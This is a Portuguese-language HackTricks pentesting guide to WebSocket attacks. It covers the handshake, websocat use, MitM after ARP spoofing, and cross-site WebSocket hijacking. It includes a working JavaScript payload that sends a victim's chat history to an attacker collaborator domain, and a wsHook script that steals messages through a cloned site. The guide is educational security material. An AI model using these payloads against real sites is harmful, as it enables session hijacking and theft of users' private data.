hacktricks/pentesting-web/websocket-attacks.md

13 KiB

Ataques WebSocket

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

O que são WebSockets

Conexões WebSocket são iniciadas sobre HTTP e são tipicamente de longa duração. Mensagens podem ser enviadas em qualquer direção a qualquer momento e não são de natureza transacional. A conexão normalmente permanece aberta e ociosa até que o cliente ou o servidor esteja pronto para enviar uma mensagem.
WebSockets são particularmente úteis em situações onde baixa latência ou mensagens iniciadas pelo servidor são necessárias, como feeds em tempo real de dados financeiros.

Como as conexões WebSocket são estabelecidas?

(Aqui você encontrará um resumo, mas um guia mais detalhado sobre como uma conexão WebSocket é criada pode ser encontrado aqui).
Conexões WebSocket são normalmente criadas usando JavaScript do lado do cliente como o seguinte:

var ws = new WebSocket("wss://normal-website.com/ws");

O protocolo wss estabelece um WebSocket sobre uma conexão TLS criptografada, enquanto o protocolo ws utiliza uma conexão não criptografada.

Para estabelecer a conexão, o navegador e o servidor realizam um aperto de mão WebSocket sobre HTTP. O navegador emite uma solicitação de aperto de mão WebSocket como a seguinte:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Se o servidor aceitar a conexão, ele retorna uma resposta de handshake do WebSocket como a seguinte:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Neste ponto, a conexão de rede permanece aberta e pode ser usada para enviar mensagens WebSocket em ambas as direções.

Nota

Várias características das mensagens de handshake WebSocket merecem destaque:

  • Os cabeçalhos Connection e Upgrade na solicitação e na resposta indicam que se trata de um handshake WebSocket.
  • O cabeçalho de solicitação Sec-WebSocket-Version especifica a versão do protocolo WebSocket que o cliente deseja usar. Normalmente é 13.
  • O cabeçalho de solicitação Sec-WebSocket-Key contém um valor aleatório codificado em Base64, que deve ser gerado aleatoriamente em cada solicitação de handshake.
  • O cabeçalho de resposta Sec-WebSocket-Accept contém um hash do valor submetido no cabeçalho de solicitação Sec-WebSocket-Key, concatenado com uma string específica definida na especificação do protocolo. Isso é feito para prevenir respostas enganosas resultantes de servidores mal configurados ou proxies de cache.

O cabeçalho Sec-WebSocket-Key contém um valor aleatório para prevenir erros de proxies de cache, e não é utilizado para fins de autenticação ou gerenciamento de sessão (Não é um token CSRF).

Console Linux

Você pode usar websocat para estabelecer uma conexão bruta com um websocket.

websocat --insecure wss://10.10.10.10:8000 -v

Ou para criar um servidor websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

Ataques MitM em conexões websocket

Se você descobrir que clientes estão conectados a um websocket HTTP da sua rede local atual, você poderia tentar um Ataque de ARP Spoofing para realizar um ataque MitM entre o cliente e o servidor.
Uma vez que o cliente está tentando se conectar, você pode então usar:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Enumeração de Websockets

Você pode usar a ferramenta https://github.com/PalindromeLabs/STEWS para descobrir, identificar e procurar por vulnerabilidades conhecidas em websockets de forma automática.

Ferramentas de Depuração de Websocket

  • Burp Suite suporta comunicação MitM de websockets de maneira muito semelhante à que faz para comunicação HTTP regular.
  • A extensão socketsleuth do Burp Suite permitirá que você gerencie melhor as comunicações de Websocket no Burp, obtendo o histórico, configurando regras de interceptação, usando regras de correspondência e substituição, utilizando Intruder e AutoRepeater.
  • WSSiP: Abreviação de "WebSocket/Socket.io Proxy", esta ferramenta, escrita em Node.js, fornece uma interface para capturar, interceptar, enviar mensagens personalizadas e visualizar todas as comunicações WebSocket e Socket.IO entre o cliente e o servidor.
  • wsrepl é um REPL interativo de websocket projetado especificamente para pentesting. Ele fornece uma interface para observar mensagens websocket recebidas e enviar novas, com uma estrutura fácil de usar para automatizar essa comunicação.
  • https://websocketking.com/ é um site para se comunicar com outros sites usando websockets.
  • https://hoppscotch.io/realtime/websocket entre outros tipos de comunicações/protocolos, fornece um site para se comunicar com outros sites usando websockets.

Laboratório de Websocket

Em Burp-Suite-Extender-Montoya-Course você tem um código para lançar um site usando websockets e em este post você pode encontrar uma explicação.

Sequestro de WebSocket entre sites (CSWSH)

Também conhecido como sequestro de WebSocket de origem cruzada.
É um Cross-Site Request Forgery (CSRF) em um aperto de mão WebSocket.

Ocorre quando a solicitação de aperto de mão WebSocket depende exclusivamente de cookies HTTP para o gerenciamento de sessão e não contém tokens CSRF ou outros valores imprevisíveis.
Um atacante pode criar uma página web maliciosa em seu próprio domínio que estabelece uma conexão WebSocket entre sites com a aplicação vulnerável. A aplicação tratará a conexão no contexto da sessão do usuário vítima com a aplicação.

Ataque Simples

Observe que ao estabelecer uma conexão websocket, o cookie é enviado para o servidor. O servidor pode estar usando-o para relacionar cada usuário específico com sua sessão websocket com base no cookie enviado.

Então, se por exemplo o servidor websocket enviar de volta o histórico da conversa de um usuário se uma mensagem com "PRONTO" for enviada, então um XSS simples estabelecendo a conexão (o cookie será enviado automaticamente para autorizar o usuário vítima) enviando "PRONTO" poderá recuperar o histórico da conversa.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Neste post do blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ o atacante conseguiu executar Javascript arbitrário em um subdomínio do domínio onde a comunicação via websocket estava ocorrendo. Como era um subdomínio, o cookie estava sendo enviado, e porque o Websocket não verificava a Origem corretamente, foi possível se comunicar com ele e roubar tokens dele.

Roubando dados do usuário

Copie a aplicação web que você deseja se passar (os arquivos .html por exemplo) e dentro do script onde a comunicação via websocket está ocorrendo, adicione este código:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

Agora faça o download do arquivo wsHook.js de https://github.com/skepticfx/wshook e salve-o dentro da pasta com os arquivos web.
Expondo a aplicação web e fazendo um usuário se conectar a ela, você será capaz de roubar as mensagens enviadas e recebidas via websocket:

sudo python3 -m http.server 80

Condições de Corrida

Condições de Corrida em WebSockets também são uma realidade, consulte estas informações para saber mais.

Outras vulnerabilidades

Como os Web Sockets são um mecanismo para enviar dados para o lado do servidor e do cliente, dependendo de como o servidor e o cliente manipulam as informações, Web Sockets podem ser usados para explorar várias outras vulnerabilidades como XSS, SQLi ou qualquer outra vuln comum da web usando entrada de um usuário de um websocket.

WebSocket Smuggling

Esta vulnerabilidade poderia permitir que você burlasse as restrições de proxies reversos fazendo-os acreditar que uma comunicação websocket foi estabelecida (mesmo que não seja verdade). Isso poderia permitir que um atacante acessasse endpoints ocultos. Para mais informações, consulte a seguinte página:

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

Referências

{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}

Aprenda AWS hacking do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: